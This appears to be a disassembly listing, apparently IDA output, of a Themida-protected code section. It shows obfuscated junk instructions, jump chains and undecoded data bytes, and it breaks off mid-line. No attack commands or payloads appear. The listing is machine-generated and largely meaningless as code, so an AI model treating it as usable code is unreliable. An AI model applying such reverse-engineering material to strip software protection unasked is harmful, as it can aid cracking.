Themida_:005663F3j shr ebx, 1 jmp loc_560B04 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 26B82404h, 81501C58h, 2C421CEDh, 0E9C50135h dd 81F3h, 1C80E959h, 0B9510000h, 7B555136h, 2225CCBEh dd 8F1AE987h, 5DBAFFFFh, 3149FC53h, 4E13E9EAh, 0C3810000h dd 426029B8h, 6461C381h, 0F663DE2h, 686600B6h, 896672F5h dd 0B8E92404h, 29FFFF5Dh, 8EA6E9F3h, 0C483FFFFh, 66E83004h dd 52240C8Bh, 6CE95A54h, 0FF00003Ch, 90E92434h, 81000038h dd 0FB2F06EEh, 57D6290Dh, 9C50C6BFh, 8DF7817Eh, 0C11BA566h dd 8EE904E7h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A223: ; CODE XREF: Themida_:0056F832j pop edx jmp loc_56E87B ; --------------------------------------------------------------------------- db 0B5h, 44h, 0E9h dd 0FFFFD50Fh, 0FE68535Ah, 8900004Bh, 68512414h, 1586h dd 0E9241C89h, 0FFFF6597h ; --------------------------------------------------------------------------- loc_56A248: ; CODE XREF: Themida_:00568B30j inc edi jmp loc_56BE07 ; --------------------------------------------------------------------------- dw 3C89h dd 3B3CBF24h, 3EBB2E48h, 312E483Bh, 89565FFBh, 4C681E6h dd 83000000h, 348704EEh, 79E95C24h, 1FFFFC4h, 0D5895BDAh dd 1DED815Ah, 0E971DD43h, 734Ah ; --------------------------------------------------------------------------- loc_56A284: ; CODE XREF: Themida_:005714C9j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_55FF9F ; --------------------------------------------------------------------------- dd 511D30B9h, 82E9812Ah, 49491F48h, 7E80B850h, 0A42D2286h dd 0F7105C2Ch, 0AA2D40D0h, 57C8D49h, 4C215716h, 34E9C129h dd 3100009Bh, 0BCE95AD1h, 68FFFFFBh, 26CEh, 0BF243C89h dd 31614B74h, 4244481h, 8247B48h, 4246C81h, 63DA525Eh dd 4246C81h, 68924CFBh, 20F3BD55h, 6C0148D3h, 815D0824h dd 76042444h, 120F405h, 8104247Ch, 7604246Ch, 8120F405h dd 0F304246Ch, 8148D320h, 0FB042444h, 8168924Ch, 5E042444h dd 8163DA52h, 4804246Ch, 8B08247Bh, 0E957243Ch, 0FFFFCC1Dh dd 9781E946h, 4BA0000h, 1000000h, 5A042454h, 4C3815Bh dd 57000000h, 468h, 243C8B00h, 4DDBE9h db 0 ; --------------------------------------------------------------------------- loc_56A35D: ; CODE XREF: Themida_:005638EFj mov [esp], ebx push dword ptr [esp] jmp loc_56BEA5 ; --------------------------------------------------------------------------- dd 8B241CF7h, 0C4812434h, 4, 7CF76896h, 2C890000h, 7392BD24h dd 0E8096F64h, 81242C8Bh, 4C4h, 0B4BB5300h, 0E906E208h dd 8FAAh, 653A68h, 242C8900h, 5D2414F7h, 0A6FBE9h, 24248B00h dd 9C240430h, 0FF5BEAE9h, 0A3E954FFh, 0C1FFFFF6h, 50E903E6h dd 89000091h, 0E9572434h, 7DD8h ; --------------------------------------------------------------------------- loc_56A3CC: ; CODE XREF: Themida_:00566387j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp shl eax, 3 sub eax, 0FFFFFFFFh jmp loc_5694D2 ; --------------------------------------------------------------------------- dw 0E954h dd 7C0Ch ; --------------------------------------------------------------------------- loc_56A3E8: ; CODE XREF: Themida_:00569F89j mov esp, [esp] shr ecx, 2 sub esp, 4 jmp loc_57034A ; --------------------------------------------------------------------------- db 0BEh, 3Ah, 7 dd 1DB9569Eh, 0E92EAA7Ch, 0FFFFA3ACh ; --------------------------------------------------------------------------- loc_56A408: ; CODE XREF: Themida_:0056E42Fj add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_56E3DB ; --------------------------------------------------------------------------- dw 8966h dd 0E0B22414h, 0ABE9572Ch, 830000A8h, 48904ECh, 68E08924h dd 21B3h, 68241489h, 179Ah, 0B9240C89h, 551D5E2Bh, 59C3E9h dd 57F80100h, 0FF9F18E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A44D: ; CODE XREF: Themida_:00570860j push dword ptr [esp] jmp loc_5742D7 ; --------------------------------------------------------------------------- db 50h, 0B8h, 2Bh dd 4070F462h, 0FF6A1DE9h, 678A68FFh, 0EFE945CDh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A46B: ; CODE XREF: Themida_:005681C3j or ch, bh mov bx, [esp] add esp, 2 neg ch sub esp, 4 mov [esp], eax mov ah, 86h jmp loc_56157F ; --------------------------------------------------------------------------- dw 3489h dd 2474FF24h, 48F5E04h, 8295E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A496: ; CODE XREF: Themida_:0056AB4Cj pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] jmp loc_56B41D ; --------------------------------------------------------------------------- loc_56A4B5: ; CODE XREF: Themida_:0056E640j add bl, 0ACh jmp loc_569904 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 80000000h, 0B8E92AEBh, 81000089h, 0A723B2CFh, 0BECF812Dh dd 81252D0Dh, 0AFEFFBF7h, 0F2C0E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A4E2: ; CODE XREF: Themida_:00573BD8j push dword ptr [esp+4] pop ebp jmp loc_564E7D ; --------------------------------------------------------------------------- dd 7004EEB0h, 0FFC93DE9h, 8C0548FFh, 1D31EC4h, 6507E9C7h dd 0FF56FFFFh, 0E9042474h, 2DE7h, 4240481h, 8B000000h dd 0BAE9243Ch, 0BFFFFFDEh, 0FF74691h, 4FEF781h, 81472508h dd 0EA3036F7h, 81D7F748h, 1B664EEFh, 0E9FA3174h, 40B4h dd 0C281C201h, 51510B1h, 8337E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A54A: ; CODE XREF: Themida_:00574C3Dj mov esp, [esp] push 0B7Fh mov [esp], esi push 467C3554h mov esi, [esp] jmp loc_562527 ; --------------------------------------------------------------------------- dw 33BBh dd 5003594Ah, 0FC4270B8h, 2E8C121h, 0DA7BB53h, 0D801164Bh dd 58C2295Bh, 34D7C281h, 0DA0153C2h, 34D7EA81h, 0C28153C2h dd 1ECA1E43h, 0E92434FFh, 0FFFFDD88h, 4C481h, 685A0000h dd 0AE9h, 6835E9h db 0 ; --------------------------------------------------------------------------- loc_56A5A9: ; CODE XREF: Themida_:005639F8j add eax, edi pop edi push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] push 7D7h mov [esp], ebp jmp loc_560789 ; --------------------------------------------------------------------------- loc_56A5CB: ; CODE XREF: Themida_:005716A8j xchg eax, edi sub eax, 59546926h jmp loc_56C589 ; --------------------------------------------------------------------------- dw 0E3D0h dd 80CEC380h, 0D930CEF3h, 81241C8Bh, 4C4h, 0FFC83000h dd 81592434h, 4C4h, 564E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A5FA: ; CODE XREF: Themida_:0056448Fj add edx, 4 sub edx, 4 jmp loc_5642AE ; --------------------------------------------------------------------------- dd 4EC81h, 81E90000h, 51FFFFADh, 0EA88FD88h, 0FF756FE9h dd 4EC81FFh, 89000000h, 8B54242Ch, 0C481242Ch, 4, 4BB53h dd 0DD010000h, 4C5815Bh, 87000000h, 0A4E9242Ch db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A647: ; CODE XREF: Themida_:0056F51Bj mov [esp], ebp push ebx mov ebx, 62D4623Eh sub [esp+4], ebx jmp loc_56ACB8 ; --------------------------------------------------------------------------- loc_56A659: ; CODE XREF: Themida_:0056277Fj pop ebx push esi mov esi, 0ECC20295h add ecx, esi pop esi sub ebx, 3BE812A2h jmp loc_569D57 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C481h, 0BB530000h, 1ED3296Dh, 0E95BDA31h, 0FFFF6A84h ; --------------------------------------------------------------------------- loc_56A688: ; CODE XREF: Themida_:00562D24j pop esi pop edx dec ecx jmp loc_5747F3 ; --------------------------------------------------------------------------- loc_56A690: ; CODE XREF: Themida_:00568803j mov eax, esp push ebp mov ebp, 0D8B26C3h jmp loc_569F98 ; --------------------------------------------------------------------------- loc_56A69D: ; CODE XREF: Themida_:00567A86j xor ebp, 758A1AA4h sub ebp, 0D9F972F7h add edi, ebp jmp loc_5644FF ; --------------------------------------------------------------------------- dd 2C481h, 0B60F0000h, 78F7E9C0h, 1C890000h, 0BB24h, 0CE90000h dd 5E00008Bh, 4B951h, 74E90000h, 1FFFFE0h, 2434FFDAh, 4C4835Bh dd 74C4BB53h, 43E910D4h, 68FFFFD1h, 7B7Bh, 2280E9h db 0 ; --------------------------------------------------------------------------- loc_56A6F5: ; CODE XREF: Themida_:00566699j add ebx, 4 push eax mov eax, 4 jmp loc_56AF76 ; --------------------------------------------------------------------------- dw 0E95Ah dd 7206h, 0C2E3815Fh, 43293737h, 203BE9h, 1ABEBD00h, 0EDC16123h dd 6EDC102h, 2FF7E9h, 36EB8100h, 5E434C1Fh, 34FFD831h dd 241C8B24h, 4C481h, 0C0680000h, 89000042h, 0E0892404h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_5663CD ; --------------------------------------------------------------------------- db 81h dd 0FB5339C3h, 0C8FE941h, 0EC810000h, 4, 0BF243C89h, 3ABF302Bh dd 1A197ABEh, 5FFE0126h, 0EEC1D6F7h, 48CE8107h, 81444F2Eh dd 3D2AECEEh, 0D5B0E9D0h, 8B66FFFFh, 0CB682414h, 89000013h dd 5D54242Ch, 37ACE9h, 0DA896600h, 0D2F7665Bh, 85F28166h dd 2EC8354h, 949DE9h, 81E78900h, 4C7h, 0E1895100h, 52ACE9h dd 66BA5200h, 8153B441h, 2B31CDF2h, 0BEC2812Ch, 811E1339h dd 267D69C2h, 5AD701E2h, 243C875Eh, 8924248Bh, 5AE9240Ch dd 66FFFFE3h, 9408E953h, 685C0000h, 6834h, 56240489h, 3EE9E689h dd 83FFFFEAh, 6D6802C1h, 0E9000010h, 7101h, 4EC81h, 0FCE90000h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A82B: ; CODE XREF: Themida_:00571103j or dh, 0E7h not dh or dh, 0F0h shr dh, 2 xor dh, 0A4h mov ch, dh pop edx sub bh, 0E3h sub bh, ch push dx mov dl, 0E3h add bh, dl pop dx jmp loc_563733 ; --------------------------------------------------------------------------- dw 54B3h dd 5B66DE88h, 5A66F730h, 5248E780h, 0D70083B2h, 9D99E9h db 0 ; --------------------------------------------------------------------------- loc_56A865: ; CODE XREF: Themida_:00566AC6j mov esp, [esp] mov [esp], ebp push esp push dword ptr [esp] jmp loc_561167 ; --------------------------------------------------------------------------- loc_56A874: ; CODE XREF: Themida_:00570D38j pop ecx add eax, edi jmp loc_56EF3A ; --------------------------------------------------------------------------- dd 4C2755B8h, 6E0C15Fh, 0F62AC405h, 58C3292Ch, 31241C33h dd 1C33241Ch, 24248B24h, 8E22E9h db 0 ; --------------------------------------------------------------------------- loc_56A89D: ; CODE XREF: Themida_:0056B4B1j jmp loc_55FF9F ; --------------------------------------------------------------------------- dw 6868h dd 89000075h, 93BF243Ch, 29923DE1h, 243C8BFDh, 4C481h dd 0E8010000h, 68ABE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A8C2: ; CODE XREF: Themida_:00573D74j mov [esp], eax push ecx mov ecx, 31987FEEh mov eax, ecx pop ecx mov edi, eax mov eax, [esp] add esp, 4 push ebp mov ebp, 15AE6C66h mov eax, ebp pop ebp xchg eax, edi jmp loc_5716A6 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 0B3E9240Ch, 0E9FFFFF2h, 0FFFF56A7h, 0B8240489h dd 468E400Ch, 9398E9h, 0FDEB8100h, 184209Fh, 0D3E95BD9h dd 89FFFFACh, 0C588240Ch, 0E959EF88h, 0FFFFC40Ah ; --------------------------------------------------------------------------- loc_56A920: ; CODE XREF: Themida_:0056BCECj pop esp mov [esp], eax jmp loc_55FF9F ; --------------------------------------------------------------------------- db 5, 2Dh, 4Bh dd 0D801650Eh, 0E4B2D2Dh, 4584E965h, 0E3890000h, 4C381h dd 0C3830000h, 241C8704h, 4F24248Bh, 714BEF81h, 0E7811848h dd 6A7C090Ah, 50C0BA52h, 0D701962Dh, 0E9FE895Ah, 6580h ; --------------------------------------------------------------------------- loc_56A968: ; CODE XREF: Themida_:005610A8j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] and eax, esi pop esi or eax, eax jnz loc_570135 push 1 push dword ptr [esp] push dword ptr [esp] mov edx, [esp] push ebp push esp pop ebp sub esp, 4 mov [esp], eax jmp loc_573BA7 ; --------------------------------------------------------------------------- loc_56A99B: ; CODE XREF: Themida_:00568FD9j pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 2C75h mov [esp], ecx sub esp, 4 jmp loc_57258F ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 0F7h dd 9CF0E9DAh, 478FFFFFh, 246F8124h, 288D37A7h, 582434FFh dd 3DC968h, 0CD8CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A9DE: ; CODE XREF: Themida_:00570BDFj pop edx mov edx, ebx pop ebx inc edx and edx, 0EF003F6h jmp loc_56C9CA ; --------------------------------------------------------------------------- loc_56A9EE: ; CODE XREF: Themida_:0056C88Cj mov ah, 0AEh neg ah add ah, 0BCh neg ah add ah, 0C5h add ah, 9Ah jmp loc_5689BB ; --------------------------------------------------------------------------- loc_56AA02: ; CODE XREF: Themida_:00570DD9j mov [esp], eax mov eax, 8E86689Dh add edi, eax mov eax, [esp] push ebx jmp loc_57056F ; --------------------------------------------------------------------------- loc_56AA15: ; CODE XREF: Themida_:00563955j xor [esp], esi xor esi, [esp] jmp loc_566627 ; --------------------------------------------------------------------------- loc_56AA20: ; CODE XREF: Themida_:00560AE9j push edi mov edi, 4FC0190h jmp loc_56D634 ; --------------------------------------------------------------------------- db 53h dd 241C8B54h, 4C481h, 0C3810000h, 4, 62BEE9h, 0F8285900h dd 0C6B3535Bh, 0F380CBFEh, 0FFD80083h, 835B2434h, 0D80004C4h dd 0E955462Ch, 0FFFF89CAh ; --------------------------------------------------------------------------- loc_56AA60: ; CODE XREF: Themida_:00560F97j and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 jmp loc_560F9C ; --------------------------------------------------------------------------- db 66h, 81h, 4 dd 66000224h, 6624048Fh, 2BD6655h, 6C016600h, 5D660224h dd 0FF5512E9h, 240C89FFh, 4EC81h, 1C890000h, 0B594B324h dd 2E1AE9E2h, 0C8000000h, 81240C8Bh, 4C4h, 148B6600h, 3D92E924h dd 0C3010000h, 582434FFh, 5A04C483h, 28D9E9h, 0F1E95600h dd 81FFFF79h, 3C1DC4C3h, 0E9535E2Dh, 0FFFFF384h, 52241C8Bh dd 0C281E289h, 4, 8704C283h, 15C2414h, 0A17BE9F2h, 0C8B0000h dd 4C48124h, 1000000h, 51555FF9h, 7B0EBA68h, 3DE95940h dd 5200007Ah, 0B951E289h, 4, 8359CA01h, 0FF5204C2h, 5A042474h dd 0E924048Fh, 741h ; --------------------------------------------------------------------------- loc_56AB28: ; CODE XREF: Themida_:0056302Bj mov eax, [esp] add esp, 4 pop dword ptr [esp] not eax push eax push dword ptr [esp+4] push dword ptr [esp] pop eax push ebp push 5632h mov [esp], esp add dword ptr [esp], 4 jmp loc_56A496 ; --------------------------------------------------------------------------- byte_56AB51 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FD08o dd 0E0895024h, 70F3E951h, 0EC81FFFFh, 4, 50241489h, 57B64DB0h dd 0E990EE80h, 0FFFFE640h, 0F488DE88h, 0FF83EDE9h, 9C5166FFh dd 0FF541AE9h, 66E728FFh, 8054B652h, 41E97AEFh db 87h, 2 dup(0FFh) byte_56AB93 db 66h ; DATA XREF: Themida_:0055FE80o dd 6824048Bh, 1B73h, 68243489h, 3029h, 53242489h, 4BBh dd 24448100h, 8B2C7B04h, 245C0164h, 246C8104h, 8B2C7B04h dd 348B5B64h, 4C48124h, 0E9000000h, 9B0Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ecx mov ecx, 63C6166Dh sub ecx, 63C61669h add ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 4 jmp loc_563F88 ; --------------------------------------------------------------------------- loc_56ABFA: ; CODE XREF: Themida_:005616B8j mov [esp], ebx push 8000h jmp loc_567E80 ; --------------------------------------------------------------------------- loc_56AC07: ; CODE XREF: Themida_:00571F33j push edx mov edx, 0F6F4F66h sub ebx, edx pop edx push edi mov edi, 2761228h push ebx mov ebx, 491D589Eh and edi, ebx mov ebx, [esp] push edi mov edi, esp jmp loc_563A8A ; --------------------------------------------------------------------------- loc_56AC29: ; CODE XREF: Themida_:0056B30Bj mov [esp], edx mov edx, 88126D8h push eax push edi mov edi, 43E83E3Bh mov eax, edi mov edi, [esp] add esp, 4 or edx, eax pop eax jmp loc_562C72 ; --------------------------------------------------------------------------- loc_56AC4B: ; CODE XREF: Themida_:00572187j inc esi push ebp mov ebp, 0D4CB3B8Eh jmp loc_573B2F ; --------------------------------------------------------------------------- db 89h dd 0EC83240Ch, 24248904h, 4240481h, 59000000h, 4C181h dd 0C1810000h, 4, 2474FF51h, 48F5904h, 48F5C24h, 24248B24h dd 3987E9h, 5311E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AC8E: ; CODE XREF: Themida_:0056C797j movzx eax, al jmp loc_560750 ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 8B241C33h, 0CD32424h, 4EE99C24h, 54000047h dd 0FF2434FFh, 0E95E2434h, 4CBh ; --------------------------------------------------------------------------- loc_56ACB8: ; CODE XREF: Themida_:0056A654j mov ebx, [esp] jmp loc_5695C4 ; --------------------------------------------------------------------------- dd 2474FF53h, 48F5B04h, 24248B24h, 24048966h, 0FF52CAE9h dd 89525CFFh, 82EFE9E2h, 0BD55FFFFh, 4AA764DDh, 2EE8BF57h dd 46E96CA9h, 4FFFFC7h, 34D8F601h, 58C288DCh, 0FF6C6BE9h dd 0F3895BFFh, 5B50535Eh, 826EE958h, 48BFFFFh, 0A09AE924h dd 48B0000h, 8EE1E924h, 0FF52FFFFh, 5A042474h, 8B24048Fh dd 0C8842424h, 5271E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AD2E: ; CODE XREF: Themida_:00566CC4j push 2A020706h pop ecx and ecx, 24E05C1Bh or ecx, 5E0157D2h jmp loc_574157 ; --------------------------------------------------------------------------- db 88h, 0C6h, 88h dd 6E95AF5h, 5DFFFF89h, 0A6D1E9h, 24248B00h, 0A651E9h dd 71F38100h, 0E94C9C1Eh, 0FFFFC122h ; --------------------------------------------------------------------------- loc_56AD68: ; CODE XREF: Themida_:005700EEj shl edx, 3 push eax mov eax, 1B571EEFh jmp loc_560AE6 ; --------------------------------------------------------------------------- dw 895Ch dd 74FF242Ch, 2C8B0424h, 16E95224h, 1FFFF79h, 9EDAE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AD8E: ; CODE XREF: Themida_:005643ECj mov ebp, 329940C1h or ebx, ebp pop ebp jmp loc_56798F ; --------------------------------------------------------------------------- db 5Eh dd 870DE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56ADA2: ; CODE XREF: Themida_:00569075j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_56B048 ; --------------------------------------------------------------------------- dw 0E801h dd 0CF10B62Dh, 4055D35h, 87000000h, 535C2404h, 0E9505B54h dd 0FFFF52DFh, 4EC81h, 1C890000h, 28BB24h, 0FB010000h dd 0DBE90B88h, 5800003Ch, 4C481h, 0C7810000h, 469BD1D6h dd 51AEED81h, 0FD294C08h, 51AEC581h, 55F4C08h, 60DF21F4h dd 0BE56E801h, 3FED5D3Fh, 8D68DEF7h, 89000011h, 64B82404h dd 0E9446C35h, 0FFFF86CDh, 630FB6BAh, 2E2C17Bh, 8104E2C1h dd 96364EEAh, 0F6C28139h, 31CED2C2h, 0E3E95AD5h, 53FFFF98h dd 0C381E389h, 4, 4EB81h, 1C870000h, 94D4E924h, 835BFFFFh dd 7AE904C4h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AE6B: ; CODE XREF: Themida_:00566D9Aj mov ebp, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_560043 ; --------------------------------------------------------------------------- db 51h dd 0FFF5DCE9h, 39E95BFFh, 0B900009Eh, 3974C0Fh, 3159CA89h dd 31D531EAh, 6884E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56AE9E: ; CODE XREF: Themida_:00564502j sub dword ptr [esp], 3C084177h pop edx push ebp mov ebp, 20E87545h xor ebp, 60A75598h jmp loc_57470E ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0BD3CE900h, 489FFFFh, 28A4B024h, 24048BC1h, 48B5450h dd 47EAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56AED6: ; CODE XREF: Themida_:005664E0j xor [esp], ebp jmp loc_573E92 ; --------------------------------------------------------------------------- dw 8F59h dd 895C2404h, 0ADBA2414h, 29553814h, 1CD4E9D0h, 0B3530000h dd 6AF38045h, 19E9DA00h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AEFF: ; CODE XREF: Themida_:0057014Ej pop edi sub edi, 60807FADh push edi push 6763h mov [esp], ebx jmp loc_56F823 ; --------------------------------------------------------------------------- dd 4C781h, 0C7810000h, 4, 0E9243C87h, 5BE9h ; --------------------------------------------------------------------------- loc_56AF28: ; CODE XREF: Themida_:00573877j mov ebx, 147E6C73h jmp loc_561435 ; --------------------------------------------------------------------------- loc_56AF32: ; CODE XREF: Themida_:0056617Bj add ebx, 482B564Bh sub esi, ebx jmp loc_567A8B ; --------------------------------------------------------------------------- loc_56AF3F: ; CODE XREF: Themida_:00572569j add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_560937 ; --------------------------------------------------------------------------- aZpsG db 'ZPé+£',0 dd 8BF38900h, 0C9E92434h, 8FFFFFEAh, 55E92404h, 81FFFF72h dd 354733E9h, 0DC66E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF76: ; CODE XREF: Themida_:0056A701j add ebx, eax pop eax push ebx jmp loc_56B137 ; --------------------------------------------------------------------------- db 0BDh dd 487E348Fh, 815DE931h, 0D8C6B5E9h, 81BA52E4h, 0F75C1A46h dd 62EA81D2h, 0E96DCA3Bh, 4B42h ; --------------------------------------------------------------------------- loc_56AFA0: ; CODE XREF: Themida_:005630A5j or cl, 39h shl cl, 1 add cl, 1Bh or dl, cl pop ecx push ecx mov ch, 81h shl ch, 1 jmp loc_5606E9 ; --------------------------------------------------------------------------- loc_56AFB5: ; CODE XREF: Themida_:005636C7j mov ebx, [esp] push 34BAh mov [esp], esi push esp pop esi add esi, 4 push eax mov eax, 4 add esi, eax jmp loc_560609 ; --------------------------------------------------------------------------- db 5Ch, 33h, 2Ch dd 242C3124h, 8B242C33h, 89662424h, 0F66240Ch, 5166C8B6h dd 4FADE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AFF2: ; CODE XREF: Themida_:00563A69j add esi, 520F92ABh add ebp, esi pop esi mov ecx, [esp] add esp, 4 jmp loc_567C76 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 81000000h, 0EF5701E9h, 2C0DE964h, 5AB90000h dd 17C307Ch, 6CE959CBh, 35FFFFDDh, 25EE6378h, 19574205h dd 2DBA5249h, 0E9A44A5Dh, 0FFFF9685h, 5C241C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56102D ; --------------------------------------------------------------------------- loc_56B048: ; CODE XREF: Themida_:0056ADB9j pop esp push edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 jmp loc_57504A ; --------------------------------------------------------------------------- byte_56B06D db 0FFh, 77h, 38h ; DATA XREF: Themida_:0055FD84o dd 876FE951h, 3C87FFFFh, 24248B24h, 4EC81h, 34890000h dd 46824h, 15E0000h, 0EC815EF5h, 4, 0BF243C89h, 2, 274CED81h dd 0FD0150B6h, 176DE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B0AA: ; CODE XREF: Themida_:005701AAj xchg eax, ebx xor eax, 54423624h jmp loc_56C2FB ; --------------------------------------------------------------------------- db 0B0h, 0ADh, 88h dd 0D33058C3h, 66D8285Ah, 0EC99E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B0C6: ; CODE XREF: Themida_:00567517j xor edx, [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_56D012 ; --------------------------------------------------------------------------- dd 7015E95Eh, 0F1810000h, 0E898E16h, 0E8E9CB29h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B0E7: ; CODE XREF: Themida_:005707E3j sub edx, 70FA7D16h sub edx, 5556833Ah push esi mov esi, 433C4466h jmp loc_5669EA ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0EE830000h, 24348704h, 2336E9h db 0 ; --------------------------------------------------------------------------- loc_56B111: ; CODE XREF: Themida_:0056EC40j mov eax, 681E6541h jmp loc_5604E7 ; --------------------------------------------------------------------------- loc_56B11B: ; CODE XREF: Themida_:0056383Dj sub esp, 4 mov [esp], ecx mov ecx, esp push edx mov edx, 4 sub ecx, 348F715Dh jmp loc_573D07 ; --------------------------------------------------------------------------- loc_56B137: ; CODE XREF: Themida_:0056AF7Aj push dword ptr [esp+4] mov ebx, [esp] jmp loc_571C10 ; --------------------------------------------------------------------------- loc_56B143: ; CODE XREF: Themida_:0057298Ej pop esp push eax mov eax, edx mov edi, eax pop eax push dword ptr [esp] jmp loc_56E982 ; --------------------------------------------------------------------------- dw 42Dh dd 87000000h, 0E4E92404h, 89FFFF6Fh, 84BE2434h, 816F205Bh dd 894BDCF6h, 5EF08906h, 52AE981h, 0C18111CFh, 4132736Eh dd 0AEE9C101h, 83000090h, 0C48304C4h, 2BBD5504h, 0E90AF15Bh dd 0FFFF9A92h, 0E924148Bh, 0FFFF8BD5h, 2936EF81h, 0C7811300h dd 34ED6A1Dh, 416BE9h, 2434FF00h, 0E389535Eh, 4C381h, 0C3830000h dd 74FF5304h, 0E95B0424h, 0FFFFA086h ; --------------------------------------------------------------------------- loc_56B1C8: ; CODE XREF: Themida_:00572C18j sub ch, 0A1h add ch, ah add ch, 0A1h jmp loc_5668F4 ; --------------------------------------------------------------------------- loc_56B1D5: ; CODE XREF: Themida_:00562E4Cj mov esi, esp jmp loc_566CB5 ; --------------------------------------------------------------------------- dword_56B1DC dd 0E9240C8Bh, 0FFFFB84Ah ; DATA XREF: Themida_:0055FF50o ; --------------------------------------------------------------------------- loc_56B1E4: ; CODE XREF: Themida_:0056C970j mov eax, 0F7C6D91h sub eax, 724148BCh jmp loc_563160 ; --------------------------------------------------------------------------- loc_56B1F3: ; CODE XREF: Themida_:00564AC0j mov [esp], edx pop eax mov edx, [esp] jmp loc_572F17 ; --------------------------------------------------------------------------- db 54h dd 0B9AAE95Fh, 0ED81FFFFh, 1B3F0333h, 0FFEB24E9h, 0F9CB9FFh dd 0A3E94B8Eh, 81FFFF52h, 4C4h, 5D545500h, 4C581h, 0C5810000h dd 4, 97E4E9h db 0 ; --------------------------------------------------------------------------- loc_56B235: ; CODE XREF: Themida_:0056145Bj shl edi, 2 push esi mov esi, 0FDE63C5h or edi, esi mov esi, [esp] add esp, 4 sub edi, 82053516h push esi mov esi, edi push eax mov eax, esi push eax pop ebx pop eax pop esi jmp loc_564D09 ; --------------------------------------------------------------------------- db 68h dd 3EF1h, 53243C89h, 87ADE9h, 87685C00h, 89000034h, 0BFBF243Ch dd 8138134Bh, 0FFFFFFC7h, 0B1CF81FFh, 684D0438h, 31B7h dd 50240C89h, 0F5783B8h, 209E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B296: ; CODE XREF: Themida_:00562449j xor ebx, [esp] pop esp sub esp, 4 mov [esp], edx push edi push edx push ecx push 1BEB313Ah jmp loc_56FE17 ; --------------------------------------------------------------------------- db 52h, 53h, 0E9h dd 50F4h, 217B3C05h, 20D02D24h, 0E9533A4Fh, 3669h ; --------------------------------------------------------------------------- loc_56B2C4: ; CODE XREF: Themida_:00572886j push 6357h mov [esp], ebx push edx push 488Ah mov [esp], ecx jmp loc_56754C ; --------------------------------------------------------------------------- loc_56B2DA: ; CODE XREF: Themida_:0056E458j shl esi, 7 or esi, 309E2B92h or esi, 63B0300Eh add esi, 2A2E391Ch add ebx, 2D166BBEh jmp loc_5722BB ; --------------------------------------------------------------------------- loc_56B2FA: ; CODE XREF: Themida_:005674D1j mov ebx, 1593FF1h push ebx pop esi pop ebx jmp loc_562890 ; --------------------------------------------------------------------------- loc_56B307: ; CODE XREF: Themida_:00570E33j xchg ebx, [esp] pop esp jmp loc_56AC29 ; --------------------------------------------------------------------------- dd 5ED66855h, 2C8B7555h, 4C48124h, 81000000h, 0C74DF2E5h dd 997EE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B32A: ; CODE XREF: Themida_:00568201j mov ebx, esi mov esi, [esp] push edx push esp jmp loc_56D777 ; --------------------------------------------------------------------------- dw 0EB81h dd 1C927940h, 0CD4E9h, 31B45000h, 